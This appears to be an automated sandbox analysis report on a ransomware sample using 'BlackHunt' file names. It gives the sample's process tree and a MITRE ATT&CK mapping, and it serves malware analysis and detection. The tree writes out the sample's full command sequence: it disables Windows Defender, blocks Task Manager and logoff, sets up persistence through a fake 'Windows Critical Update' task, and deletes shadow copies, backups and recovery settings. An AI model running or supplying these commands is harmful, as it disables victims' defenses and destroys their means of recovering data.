"C:\Users\Admin\AppData\Local\Temp\aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:1908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2748
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2552
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:2344
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:1528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2944
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1540
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2468
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2612
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2444
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2488
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:2504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2976
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:2840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2496
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2136
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:2812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1108
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2400
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:1200
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2428
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2416
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1800
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2092
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1620
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:1720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:2296
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:3040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1896
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:2380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2872
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:1972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:3048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2124
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe" /F
  2⤵
  PID:2708
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\aa9fc769c005ff2b1130123f04869811c09c090c16ff9bd1520814ef36c2cfb1.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2484
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2916
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1996
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:2036
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1992
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2200
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:544
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1012
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2760
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2880
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2716

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1712

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2508

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2936

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:2444

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery